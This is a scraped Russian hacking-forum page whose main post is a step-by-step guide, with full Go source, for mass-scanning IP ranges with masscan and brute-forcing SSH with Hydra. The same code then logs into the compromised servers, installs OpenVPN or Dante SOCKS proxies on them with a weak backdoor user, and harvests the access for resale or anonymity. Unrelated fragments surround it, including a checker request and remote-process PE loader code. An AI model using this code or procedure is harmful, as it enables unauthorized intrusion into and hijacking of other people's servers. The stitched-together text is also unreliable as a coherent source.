req.Header.Set("Te", "trailers")
resp, err = client.Do(req)
if err != nil {
log.Println(err)
continue
}
fmt.Println("req status", resp.Status)
Год издания: ~2019
Автор: Норсеев Сергей
Язык: Русский
Формат: PDF
Количество страниц: 249
Описание и ссылка доступны на сайте автора:
https://norseev.ru/books/windowapplicationfasm/
И скопирую сюда, чтоб не потерялось.
WindowApplicationFasm.pdf: https://qaz.im/load/yQZDfA/TeeKAQ
Работа над данной книгой началась еще в студенческие годы. В то время я хотел освоить ассемблер чтобы понимать как работает компьютер. Я понимал, что есть регистры, стек. Знал назначение отдельных команд, но писать полноценные программы у меня не получалось.
Я купил учебник Юрова, но он мне не сильно помог. Данная книга имела два серьезных недостатка.
1. Ассемблер описывался под MS-DOS. Вопрос программирования под Windows освещался очень плохо. Точнее он не освещался совсем. В книге привели дизассемблерный листинг программы, написанной на C и все. Этого явно было мало.
2. В книге мало полноценных примеров. То есть там приводятся примеры использования команд ассемблера, но полных программ, которые можно скопировать, вставить в ассемблер и получить готовую программу очень мало. Имеющийся там пример у меня так и не заработал (не исключаю, что в этом виноваты мои кривые руки).Я пробовал разные ассемблеры (MASM, NASM и др.) но безрезультатно. Так продолжалось до тех пор, пока я не наткнулся на FASM. Именно в нем мне удалось собрать свою первую программу на ассемблере.
Но тут выяснилось, что ни одна книга по ассемблеру не описывает синтаксис FASM. Да, к нему есть очень неплохая документация (которую кстати перевели на русский язык) и примеры, но этого недостаточно. Тогда я и приступил к написанию справочника по этому ассемблеру чисто для себя. Хотелось иметь под рукой краткое руководство по объявлению секций, ресурсов, таблицы импорта (экспорта), подпрограмм и других составных частей программы.
По мере работы над ним он перерос из простой шпаргалки в полноценную книгу. И встал вопрос что с ней делать. Я обратился в издательства но везде получил отказ. Оставлять ее только для себя было эгоистично. Вдруг она еще кому пригодится. Ведь вполне вероятно что с теми проблемами, с которыми столкнулся я, сталкиваются и другие. Поэтому я выложил ее на торренты, где она лежит и по сей день. Для удобства читателей выкладываю ее и здесь (тем более, что в последнее время наши власти начали активно бороться с торрентами).
Итак. В данной книге описываются основные вопросы программирования на ассемблере с использованием windows API, а именно: создание оконнных и консольных приложений, создание диалоговых окон; работа с файлами, реестром, динамической памятью; создание динамических библиотек dll и многие другие вопросы.
Каждое описание по возможности дано максимально простым языком, без лишних технических подробностей. А также сопровождено большим количеством примеров.
В качестве ассемблера использовался FASM, поэтому в книге так же приводится описание синтаксиса и основных макрокоманд этого замечательного ассемблера.Click to expand...
Всем доброго времени суток! Хочу попросить помощи у участников форума которые
разбираются в создании проектов на BAS/ZP, хочу научится делать простые чекеры
с помощью софта, но не могу найти обучение. Может ли кто-то научить или
скинуть материал который пригодится в создании чекеров?
Заранее хочу сказать спасибо!
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Добро пожаловать, искатели цифровых чудес! На связи miserylord!
В этой статье вы узнаете, как найти и организовать брутфорс-атаку на SSH, а затем развернуть собственный VPN или прокси-сервер. Мы также рассмотрим процесс автоматизации с использованием языка программирования Golang.
Разделы
Spoiler: Теоретическая основа
Прокси
Прежде чем переходить к практической реализации атаки, разберемся с теоретическим введением.
Существует несколько типов прокси: мобильные, дата-центровые и так называемые резидентские прокси. Первые используются на сим-картах и мобильных телефонах, вторые - это арендованные сервера в дата-центрах, перепроданные клиентам, а резидентские прокси - это прокси, поднятые на домашних адресах. В статье мы рассматриваем атаку на SSH, в результате которой мы получим серверные прокси (их будет определять большинство систем на основе того, какому ISP принадлежит адрес; если адрес принадлежит, например, Microsoft, это может указывать на анонимизацию). Атаку, которую я опишу, также можно использовать для получения резидентских прокси, только вместо брутфорса SSH атаковать роутеры по тому же принципу.
Прокси также делятся на HTTP, SOCKS4 и SOCKS5. HTTP-прокси поддерживает только HTTP-протокол. SOCKS-прокси работают на уровне транспортного протокола и могут пересылать любой тип данных. SOCKS4 не поддерживает UDP-трафик и не поддерживает авторизацию. SOCKS5 - это улучшенная версия SOCKS4 с дополнительными функциями: поддерживает как TCP, так и UDP-трафик, поддерживает аутентификацию и может работать с IPv6.
Также вы могли слышать о разделении на форвард и реверс-прокси. Разница между ними заключается в следующем: форвард-прокси работает по модели "Клиент → Прокси → Сервер (Интернет)", и речь идет именно о них. Реверс-прокси работает по модели "Клиент → Прокси → Сервер (внутренние серверы компании)". Например, Cloudflare представляет собой реверс-прокси.
TCP/UDP
TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) - это два основных транспортных протокола в интернете. Оба они работают поверх IP и используются для передачи данных, но их поведение и применение различаются.
TCP - это надежный протокол. Он обеспечивает проверку целостности данных и контроль их последовательности. Если данные теряются или повреждаются в процессе передачи, TCP автоматически запросит повторную отправку. Этот протокол также контролирует порядок пакетов, гарантируя, что они будут получены в правильной последовательности.
UDP - это ненадежный протокол. Он не обеспечивает проверку целостности или повторную передачу данных. Пакеты могут теряться, приходить в неправильной последовательности, и протокол не пытается это исправить.
TCP медленнее, так как нужно устанавливать соединение, подтверждать доставку пакетов, обеспечивать контроль потока и исправление ошибок. UDP быстрее, потому что не требует подтверждения получения пакетов и повторных попыток передачи.
VPN и прокси-серверы могут работать как с TCP, так и с UDP. TCP используется, если важна надежность и гарантированная доставка данных, для использования в веб-браузере с HTTPS, в VPN для надежного и стабильного соединения. UDP используется, если важна скорость и допустимы потери пакетов, в VPN для лучшей производительности и минимальных задержек, в прокси для приложений, не чувствительных к потере данных. Если у вас стабильное соединение и нет потерь пакетов, оба протокола будут работать отлично.
Существует также подход, называемый TCP over UDP, который сочетает свойства обоих протоколов, обеспечивая надежность TCP при использовании преимуществ скорости UDP.
Более подробно о TCP/UDP
VPN
VPN (Virtual Private Network) - это технология, которая создает защищенное и зашифрованное соединение через менее защищенную сеть, такую как интернет. Когда вы подключаетесь к VPN, ваш интернет-трафик шифруется с использованием различных алгоритмов шифрования (например, AES-256). VPN создает «туннель» между устройством и VPN-сервером. Этот туннель защищает данные от перехвата и изменений. Туннелирование может использовать разные протоколы, такие как PPTP, L2TP/IPsec, OpenVPN или WireGuard.
OpenVPN - это один из наиболее популярных и гибких протоколов VPN, который я буду использовать в статье. Другой протокол, заслуживающий внимания, это WireGuard.
SSH
SSH (Secure Shell) - это протокол для безопасного управления удаленными системами через незащищенные сети. SSH обеспечивает зашифрованный канал для командной строки и передачи данных между клиентом и сервером.
VPS/VDP
В результате брутфорса SSH мы попадаем на VPS/VDS. VPS (Virtual Private Server) - это виртуальный сервер, который действует как полноценный выделенный сервер, но работает на физическом сервере, который разделен на несколько виртуальных машин. VDS (Virtual Dedicated Server) - это аналог VPS, но с некоторыми отличиями. VDS предоставляет полный контроль над сервером, включая возможность настройки операционной системы, установки программного обеспечения и управления сетевыми настройками.
Анонимность
Администратор VPS-сервера видит, что на сервере работают прокси или VPN, может наблюдать общие параметры работы этих сервисов, такие как использование ресурсов, порты, IP-адреса и общий объем сетевого трафика. Они имеют доступ к конфигурационным файлам и логам, которые могут содержать информацию о работе прокси или VPN, но не видят содержимое зашифрованного трафика, передаваемого через эти сервисы.
Впрочем, часть доступа могут выступать как ханиподы, и теоретически трафик можно перехватить, используя утилиты для мониторинга трафика, такие как tcpdump или Wireshark, чтобы захватывать и анализировать пакеты данных, проходящие через VPS, или использовать другие методы. Если это не ханипод, администратор может вообще не заметить, что что-то не так (как минимум до какого-то времени).
Провайдер VPS видит, что на сервере запущены прокси и VPN-сервисы. Провайдер может наблюдать сетевой трафик, исходящий от VPS, включая порты и IP-адреса, используемые прокси и VPN, но не видит конкретное содержание передаваемых данных, если трафик зашифрован. Провайдер видит, что к VPS устанавливаются SSH-соединения. Они могут видеть IP-адреса, с которых установлены эти соединения, и временные метки, но не видят содержимое сеансов или команд, выполняемых через SSH.
Внешний наблюдатель (например, интернет-провайдер) видит только зашифрованный трафик, направляемый к VPS и обратно. Они не могут видеть, что именно передается через прокси или VPN, так как данные шифруются. Они могут заметить, что используется VPN или прокси, основываясь на IP-адресах.
Переходим к практической реализации атаки.
Spoiler: Ломаем SSH
Брутфорс
Брутфорс-атака — это метод подбора паролей путем систематического перебора всех возможных комбинаций. Несмотря на развитие методов защиты, брутфорс-атаки остаются актуальными из-за слабых паролей, устаревших механизмов защиты и использования стандартных паролей по умолчанию. Пользователи по-прежнему часто используют простые пароли вроде "123456".
Особенность брутфорс-атаки на SSH заключается в том, что вместо паролей можно использовать пары открытых и закрытых ключей для аутентификации. В таком случае получить доступ с помощью учетных данных будет невозможно.
Словари для брутфорс-атаки формируются на основе ранее утеченных данных. Обнаружить их можно на GitHub. Например, вот небольшой словарь из топ-20 паролей SSH: [SecLists/Passwords/Common-Credentials/top-20-common-SSH- passwords.txt GitHub](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common- Credentials/top-20-common-SSH-passwords.txt).
В рамках готовых решений одной из самых популярных утилит для брутфорса является Hydra, но любой брутфорс можно написать самостоятельно.
Поиск портов
Я подробно описывал IP-адреса (получение списка по странам), порты и утилиту masscan в статье, посвященной брутфорсу СУБД. Если вам непонятны какие-то моменты, рекомендую сначала ознакомиться с ней.
Итак, первым делом найдем открытые порты. Стандартный порт для SSH — 22. Запускаем команду: masscan -p22 41.223.80.0/22 --rate 1000 -oG output.txt и получаем открытые порты с SSH. Для форматирования результата в удобный формат используем команду: grep -oP '\b\d{1,3}(.\d{1,3}){3}\b' output.txt > ip_only.txt
На серверах могут быть запущены разные операционные системы, и при дальнейшей автоматизации важно учитывать этот момент. Есть несколько решений этой проблемы.
Использовать nmap. Команда: nmap -O -p 22 -iL ip_only.txt -oN result.txt
Также можно заменить флаг -A на -O, в таком случае nmap попытается собрать как можно больше информации. Тут можно пойти дальше и попытаться отсеять как минимум сервисы, которые не являются SSH, но запущены на 22 порту. Касательно операционной системы, nmap часто не сможет это сделать и лишь попытается угадать, нужно учитывать этот момент, если решили отфильтровать сервисы с помощью nmap.
Также для поиска открытых 22 портов можно использовать сервисы типа Shodan, которые предоставляют эту информацию.
Второй вариант — просто проверять все IP-адреса и уже на полученных доступах проверять, на какой системе мы оказались, и действовать с учетом этого. Я буду писать дальнейший код так, словно мы оказались на Ubuntu.
Hydra
Устанавливаем Hydra командой: sudo apt install hydra -y
Возьмем словарь из этого репозитория: https://github.com/danielmiessler/SecLists
Вводим команду: hydra -L users.txt -P passwords.txt ssh://127.0.0.1 -s 22 -vV
Hydra не может брать адреса из файла, поэтому придется написать скрипт на Golang для автоматизации этого процесса, в который мы также добавим горутины для параллельной проверки сразу нескольких адресов.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
"sync"
)
var mutex sync.Mutex // 1
func runHydra(ip, usersFile, passwordsFile string, wg *sync.WaitGroup, sem chan struct{}) { // 2
defer wg.Done() // 3
sem <- struct{}{} // 4
fmt.Printf("Запуск брутфорса для %s...\n", ip)
cmd := exec.Command("hydra", "-L", usersFile, "-P", passwordsFile, "ssh://"+ip, "-s", "22", "-vV") // 5
// 6
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Ошибка при запуске Hydra для %s: %s\n", ip, err)
} else {
result := string(output)
fmt.Printf("Результат для %s:\n%s\n", ip, result)
saveSuccessfulResults(result, ip)
}
<-sem // 7
}
Вывод Hydra будет содержать огромное количество информации, и нам нужно получить только успешные результаты, сохранив их в файл:
C-like:Copy to clipboard
// 1
func saveSuccessfulResults(output, ip string) {
lines := strings.Split(output, "\n") // 2
var successfulAttempts []string // 3
// 4
for _, line := range lines {
if strings.Contains(line, "host:") && strings.Contains(line, "login:") && strings.Contains(line, "password:") {
successfulAttempts = append(successfulAttempts, line)
}
}
// 5
if len(successfulAttempts) > 0 {
// 6
mutex.Lock()
defer mutex.Unlock()
// 7
file, err := os.OpenFile("successful_results.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Ошибка при открытии файла для записи результатов: %s\n", err)
return
}
defer file.Close()
// 8
for _, attempt := range successfulAttempts {
_, err := file.WriteString(fmt.Sprintf("IP: %s - %s\n", ip, attempt))
if err != nil {
fmt.Printf("Ошибка при записи результата в файл: %s\n", err)
}
}
}
}
Функция main будет содержать следующий код:
C-like:Copy to clipboard
func main() {
// 1
usersFile := "user.txt"
passwordsFile := "pass.txt"
ipFile := "ips.txt"
// 2
maxGoroutines := 5
// 3
file, err := os.Open(ipFile)
if err != nil {
fmt.Println("Ошибка при открытии файла с IP:", err)
return
}
defer file.Close()
// 4
sem := make(chan struct{}, maxGoroutines)
var wg sync.WaitGroup
// 5
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ip := scanner.Text()
wg.Add(1)
go runHydra(ip, usersFile, passwordsFile, &wg, sem)
}
// 6
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла с IP:", err)
}
// 7
wg.Wait()
}
Поднимаем VPN
Первым делом проверяем, где мы оказались, используя команду uname -a, а также проверяем, кто мы в системе, командой whoami. Скачиваем OpenVPN командой: wget https://git.io/vpn -O openvpn-install.sh Изменяем права доступа к файлу openvpn-install.sh, делая его исполняемым: chmod +x openvpn-install.sh Запускаем файл: bash openvpn-install.sh Во время выбора протоколов, порта и имени устройства можно оставить все по умолчанию, нажимая Enter. Чтобы убедиться, что процесс запущен, используем команду: lsof -i :1194 Для поиска файлов .ovpn используем: find / -type f -name "*.ovpn" Далее копируем файл на свой компьютер командой: scp /root/client.ovpn . и подключаемся с помощью клиента OpenVPN, импортируя профиль.
Поднимаем прокси
Для поднятия прокси воспользуемся фреймворком Dante. Установим программу: apt install dante-server Создадим пользователя и зададим пароль командой: useradd proxyuser && echo "proxyuser:proxyuser" | chpasswd Этот пользователь будет использоваться для работы с прокси-сервером. Меняем конфигурационный файл с помощью: nano /etc/danted.conf Далее перезагружаем сервер: systemctl restart danted После этого можно использовать прокси.
Конфигурационный файл будет выглядеть следующим образом:
Code:Copy to clipboard
# 1
user.privileged: root
user.unprivileged: nobody
user.libwrap: nobody
# 2
internal: 0.0.0.0 port = 1080
# 3
external: eth0
# 4
method: username
# 5
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
}
# 6
pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
protocol: tcp udp
}
Для сокрытия запущенных служб можно также скрыть процесс и запускать службы на нестандартных портах.
Переходим к автоматизации процесса.
Spoiler: Автоматизация процесса
VPN
Инициализируем проект и приступаем к его реализации.
Функция main.go будет выглядеть следующим образом:
C-like:Copy to clipboard
package main
import (
"fmt"
"log"
"openvpn/fileutils"
"openvpn/sshclient"
)
func main() {
// 1
accessFile := "files/ac.txt"
// 2
accessList, err := fileutils.ReadAccessFromFile(accessFile)
if err != nil {
log.Fatalf("Failed to read access file: %v", err)
}
// 3
for _, access := range accessList {
host, user, password := access.Host, access.User, access.Password
fmt.Printf("Connecting to %s with user %s...\n", host, user)
// 4
err := sshclient.ConnectAndRunCommand(host, user, password)
if err != nil {
log.Printf("Error for %s: %v", host, err)
continue
}
}
}
В папке files в файле ac.txt будут находиться доступы, туда же будут сохраняться полученные файлы ovpn. Формат доступов — 127.0.0.1:22 root root.
Пакет fileutils будет содержать следующий код для работы с файлом:
C-like:Copy to clipboard
package fileutils
import (
"bufio"
"fmt"
"os"
"strings"
)
// 1
type AccessData struct {
Host string
User string
Password string
}
// 2
func ReadAccessFromFile(filename string) ([]AccessData, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
// 3
var accessList []AccessData
scanner := bufio.NewScanner(file)
for scanner.Scan() {
parts := strings.Fields(scanner.Text())
if len(parts) != 3 {
return nil, fmt.Errorf("invalid format in access file: %s", scanner.Text())
}
accessList = append(accessList, AccessData{
Host: parts[0],
User: parts[1],
Password: parts[2],
})
}
// 4
if err := scanner.Err(); err != nil {
return nil, err
}
// 5
return accessList, nil
}
В пакете sshclient будет код подключения к SSH-серверу, вызова команды и вызова функций с конкретными командами, которые будут вынесены в другой пакет:
C-like:Copy to clipboard
package sshclient
import (
"bytes"
"fmt"
"openvpn/scmd"
"time"
"golang.org/x/crypto/ssh"
)
// 1
func CreateSSHClient(host, user, password string) (*ssh.Client, error) {
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
return nil, fmt.Errorf("failed to dial %s: %w", host, err)
}
return client, nil
}
// 2
func RunCommand(session *ssh.Session, command string) (string, string, error) {
var stdout, stderr bytes.Buffer
session.Stdout = &stdout
session.Stderr = &stderr
if err := session.Run(command); err != nil {
return stdout.String(), stderr.String(), fmt.Errorf("failed to run '%s': %w", command, err)
}
return stdout.String(), stderr.String(), nil
}
// 3
func ConnectAndRunCommand(host, user, password string) error {
client, err := CreateSSHClient(host, user, password)
if err != nil {
return err
}
defer client.Close()
if err := scmd.CheckIfUbuntu(client); err != nil {
return err
}
if err := scmd.CheckIfUserRoot(client); err != nil {
return err
}
if err := scmd.WgetOpenVPN(client); err != nil {
return err
}
if err := scmd.ChmodOpenVPN(client); err != nil {
return err
}
if err := scmd.InstallOpenVPN(client); err != nil {
return err
}
if err := scmd.LsofOpenVPN(client); err != nil {
return err
}
if err := scmd.DownloadedOvpn(client); err != nil {
return err
}
return nil
}
Переходим к имплементации функций пакета scmd. По большей части их код будет достаточно похож.
Сначала реализуем функцию CheckIfUbuntu:
C-like:Copy to clipboard
package scmd
import (
"fmt"
"strings"
"golang.org/x/crypto/ssh"
)
func CheckIfUbuntu(client *ssh.Client) error {
// 1
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'uname -a': %w", err)
}
defer session.Close()
// 2
outputStr, stderrStr, err := RunCommand(session, "uname -a")
if err != nil {
return fmt.Errorf("error running 'uname -a': %w Stderr: %s", err, stderrStr)
}
// 3
fmt.Print(outputStr)
// 4
if strings.Contains(strings.ToLower(outputStr), "ubuntu") {
fmt.Println("The output contains 'Ubuntu'.")
} else {
fmt.Println("The output does not contain 'Ubuntu'.")
return fmt.Errorf("the system info does not contain 'Ubuntu'")
}
// 5
return nil
}
Функция CheckIfUserRoot аналогична предыдущей, за исключением того, что она вызывает команду whoami для отображения имени текущего пользователя. В целом, если мы зашли под root, то вывод будет root, и её можно переписать на проверку привилегий пользователя.
C-like:Copy to clipboard
func CheckIfUserRoot(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'whoami': %w", err)
}
defer session.Close()
outputStr, stderrStr, err := RunCommand(session, "whoami")
if err != nil {
return fmt.Errorf("error running 'whoami': %w Stderr: %s", err, stderrStr)
}
fmt.Println("whoami output:")
fmt.Println(outputStr)
if strings.TrimSpace(strings.ToLower(outputStr)) == "root" {
fmt.Println("The current user is 'root'.")
} else {
fmt.Println("The current user is not 'root'.")
return fmt.Errorf("current user is not 'root'")
}
return nil
}
Далее реализуем функцию WgetOpenVPN для скачивания скрипта.
C-like:Copy to clipboard
func WgetOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'wget': %w", err)
}
defer session.Close()
// 1
_, stderrStr, err := RunCommand(session, "wget https://git.io/vpn -O openvpn-install.sh")
if err != nil {
return fmt.Errorf("error running 'wget': %w Stderr: %s", err, stderrStr)
}
// 2
fileExists, err := fileExists(client, "openvpn-install.sh")
if err != nil {
return err
}
if fileExists {
fmt.Println("The file 'openvpn-install.sh' was successfully downloaded.")
} else {
fmt.Println("The file 'openvpn-install.sh' was not downloaded.")
return fmt.Errorf("something went wrong with wget openvpn-install.sh")
}
return nil
}
func fileExists(client *ssh.Client, filename string) (bool, error) {
session, err := client.NewSession()
if err != nil {
return false, fmt.Errorf("failed to create session for file check: %w", err)
}
defer session.Close()
checkFileCmd := fmt.Sprintf("if [ -f %s ]; then echo 'File exists'; else echo 'File does not exist'; fi", filename)
fileCheckOutputStr, fileCheckStderrStr, err := RunCommand(session, checkFileCmd)
if err != nil {
return false, fmt.Errorf("error checking file existence: %w Stderr: %s", err, fileCheckStderrStr)
}
if strings.Contains(fileCheckOutputStr, "File exists") {
return true, nil
}
return false, nil
}
Используем chmod +x для изменения прав доступа к файлу, добавляя разрешение на выполнение, в функции ChmodOpenVPN.
C-like:Copy to clipboard
func ChmodOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'chmod': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "chmod +x openvpn-install.sh")
if err != nil {
return fmt.Errorf("error running 'chmod': %w Stderr: %s", err, stderrStr)
}
return nil
}
Поскольку скрипт установки требует активных действий со стороны пользователя, необходимо решить эту проблему. Если требуется более глубокая кастомизация, можно переписать скрипт или написать полноценный bash-скрипт поверх. Однако для выбора по умолчанию можно воспользоваться командой yes '' | bash openvpn-install.sh. Эта команда выводит пустую строку бесконечно, то есть непрерывно посылает пустые строки на стандартный ввод. | — это оператор конвейера, который передает вывод команды слева на ввод команды справа. bash openvpn-install.sh — запускает скрипт с помощью оболочки Bash. Пустые строки могут быть использованы для автоматического ответа на запросы скрипта и будут интерпретированы как действия по умолчанию.
C-like:Copy to clipboard
func InstallOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for bash: %w", err)
}
defer session.Close()
command := "yes '' | bash openvpn-install.sh"
outputStr, stderrStr, err := RunCommand(session, command)
if err != nil {
return fmt.Errorf("error running 'yes' bash: %w Stderr: %s", err, stderrStr)
}
fmt.Println("Installation output:")
fmt.Println(outputStr)
return nil
}
После установки проверим, запущен ли процесс OpenVPN. Команда lsof -i :1194 выводит список всех процессов, которые используют порт 1194, применяемый по умолчанию для OpenVPN.
C-like:Copy to clipboard
func LsofOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for lsof: %w", err)
}
defer session.Close()
outputStr, stderrStr, err := RunCommand(session, "lsof -i :1194")
if err != nil {
return fmt.Errorf("error running 'lsof': %w Stderr: %s", err, stderrStr)
}
fmt.Println("Output:")
fmt.Println(outputStr)
if strings.Contains(strings.ToLower(outputStr), "openvpn") {
fmt.Println("The output contains 'Openvpn'.")
} else {
fmt.Println("The output does not contain 'openvpn'.")
return fmt.Errorf("openvpn is not running ")
}
return nil
}
И наконец, скачаем файл .ovpn.
C-like:Copy to clipboard
func DownloadedOvpn(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for find: %w", err)
}
defer session.Close()
// 1
command := `find / -type f -name "*.ovpn"`
outputStr, _, _ := RunCommand(session, command)
fmt.Println("Output:")
fmt.Println(outputStr)
if outputStr == "" {
return fmt.Errorf("no .ovpn files found")
}
// 2
filePaths := strings.Split(strings.TrimSpace(outputStr), "\n")
// 3
for _, filePath := range filePaths {
if filePath != "" {
fmt.Printf("Downloading file: %s\n", filePath)
if err := downloadFileSCP(client, filePath); err != nil {
return fmt.Errorf("failed to download .ovpn file: %w", err)
}
}
}
return nil
}
func downloadFileSCP(client *ssh.Client, path string) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for scp: %w", err)
}
defer session.Close()
// 4
command := fmt.Sprintf("cat %s", path)
// 5
currentTime := time.Now().Format("20060102_150405")
localFilePath := fmt.Sprintf("files/client_%s.ovpn", currentTime)
outputStr, _, _ := RunCommand(session, command)
fmt.Println("Output:")
fmt.Println(outputStr)
// 6
err = ioutil.WriteFile(localFilePath, []byte(outputStr), 0644)
if err != nil {
return fmt.Errorf("failed to write to local file: %w", err)
}
fmt.Println("File downloaded successfully:", localFilePath)
return nil
}
Код для работы с OpenVPN завершён. Давайте перейдём к коду создания прокси. В большинстве своём он будет очень похож на этот, поэтому сосредоточимся исключительно на различиях.
Прокси
Пакеты sshclient, fileutils и код в main.go остаются без изменений.
В первую очередь устанавливаем dante-server с помощью команды apt install dante-server. После установки проверяем успешность, выполняя поиск пакета dante-server среди установленных пакетов в системе, используя пакетный менеджер dpkg.
C-like:Copy to clipboard
func InstallDante(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'apt get': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "apt install dante-server")
if err != nil {
return fmt.Errorf("error running 'apt install dante-server': %w Stderr: %s", err, stderrStr)
}
danteExists, err := danteExists(client)
if err != nil {
return err
}
if danteExists {
fmt.Println("dante-server was successfully installed.")
} else {
fmt.Println("dante-server was not installed.")
return fmt.Errorf("something went wrong with apt install dante-server")
}
return nil
}
func danteExists(client *ssh.Client) (bool, error) {
session, err := client.NewSession()
if err != nil {
return false, fmt.Errorf("failed to create session for dante-server check: %w", err)
}
defer session.Close()
OutputStr, StderrStr, err := RunCommand(session, "dpkg -l | grep dante-server")
if err != nil {
return false, fmt.Errorf("error checking file existence: %w Stderr: %s", err, StderrStr)
}
if strings.Contains(OutputStr, "dante-server") {
return true, nil
}
return false, nil
}
Команда useradd proxyuser && echo "proxyuser:proxyuser" | chpasswd добавляет нового пользователя в систему. &&: Оператор логического "И" выполняет следующую команду только в случае успешного выполнения предыдущей команды. Если создание пользователя прошло успешно, будет выполнена следующая команда. pipe: Передает вывод команды echo на вход команды chpasswd. chpasswd: Обрабатывает стандартный ввод и обновляет пароли пользователей. Таким образом, команда сначала создаёт пользователя proxyuser, а затем устанавливает пароль proxyuser для этого пользователя.
C-like:Copy to clipboard
func AddProxyUser(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'useradd': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, `useradd proxyuser && echo "proxyuser:proxyuser" | chpasswd`)
if err != nil {
return fmt.Errorf("error running 'useradd': %w Stderr: %s", err, stderrStr)
}
return nil
}
Создадим файл config.txt в папке files с конфигурацией для Dante. Реализуем функцию UpdateDantedConfig.
C-like:Copy to clipboard
func UpdateDantedConfig(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'update dante config': %w", err)
}
defer session.Close()
configData, err := ioutil.ReadFile("files/config.txt")
if err != nil {
return fmt.Errorf("failed to read config file: %w", err)
}
command := fmt.Sprintf("echo '%s' > /etc/danted.conf", string(configData))
_, stderrStr, err := RunCommand(session, command)
if err != nil {
return fmt.Errorf("error running 'update dante config': %w Stderr: %s", err, stderrStr)
}
return nil
}
Получим данные из файла в переменную configData. Можно воспользоваться scp или просто перезаписать информацию в файле. Данные, содержащиеся в переменной configData, конвертируются в строку. Команда echo выводит строку, заключённую в кавычки, и с помощью оператора перенаправления записывает её в файл /etc/danted.conf, перезаписывая его содержимое.
После этого перезапускаем службу командой systemctl restart danted.
C-like:Copy to clipboard
func RestartDante(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'systemctl restart': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "systemctl restart danted")
if err != nil {
return fmt.Errorf("error running 'systemctl restart': %w Stderr: %s", err, stderrStr)
}
return nil
}
И, наконец, реализуем функцию записи успешно созданных прокси в текстовый файл в пакете fileutils, которая будет вызываться в main после ConnectAndRunCommand в рамках цикла.
C-like:Copy to clipboard
func AppendGoodRes(host string) error {
// 1
filename := "files/goods.txt"
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return fmt.Errorf("failed to open file: %v", err)
}
defer file.Close()
// 2
parts := strings.Split(host, ":")
if len(parts) == 0 {
return fmt.Errorf("invalid host format: %s", host)
}
ip := parts[0]
// 3
line := fmt.Sprintf("socks5://proxyuser:proxyuser@%s:1080", ip)
_, err = file.WriteString(line + "\n")
if err != nil {
return fmt.Errorf("failed to write to file: %v", err)
}
return nil
}
Итого процесс поднятия VPN-сервера и прокси-сервера успешно автоматизирован. Исходный код прикреплён к этому сообщению. Трям! Пока!
Hello,
I need that a method still working when user go out of app.
Im using Service and a Runnable but when I exit of app it still running only
few seconds.
Any idea?
Code:Copy to clipboard
func readProcessMemoryString(processHandle windows.Handle, address uintptr) (string, error) {
var buffer [1024]uint16
var bytesRead uintptr
err := windows.ReadProcessMemory(processHandle, address, (*byte)(unsafe.Pointer(&buffer[0])), uintptr(len(buffer)*2), &bytesRead)
if err != nil {
return "", fmt.Errorf("failed to read process memory: %v", err)
}
// Find null terminator
var length int
for length = 0; length < len(buffer) && buffer[length] != 0; length++ {}
dllName := string(utf16.Decode(buffer[:length]))
// Log the DLL name
fmt.Printf("Attempting to load DLL: %s\n", dllName)
// Validate DLL name
if dllName == "" {
return "", fmt.Errorf("DLL name is empty")
}
return dllName, nil
}
func resolveImports(processHandle windows.Handle, baseAddress uintptr, ntHeaders *IMAGE_NT_HEADERS64) error {
importDir := &ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
if importDir.Size == 0 {
return nil // No imports
}
var importDescriptor IMAGE_IMPORT_DESCRIPTOR
importDescriptorAddr := baseAddress + uintptr(importDir.VirtualAddress)
for {
err := windows.ReadProcessMemory(processHandle, importDescriptorAddr, (*byte)(unsafe.Pointer(&importDescriptor)), unsafe.Sizeof(importDescriptor), nil)
if err != nil {
return fmt.Errorf("failed to read import descriptor: %v", err)
}
if importDescriptor.Name == 0 {
break // End of import descriptors
}
dllNameAddr := baseAddress + uintptr(importDescriptor.Name)
dllName, err := readProcessMemoryString(processHandle, dllNameAddr)
if err != nil {
return fmt.Errorf("failed to read DLL name: %v", err)
}
fmt.Printf("Attempting to load DLL: %s\n", dllName)
dll, err := windows.LoadLibrary(dllName)
if err != nil {
return fmt.Errorf("failed to load DLL %s: %v", dllName, err)
}
defer windows.FreeLibrary(dll)
var thunk IMAGE_THUNK_DATA64
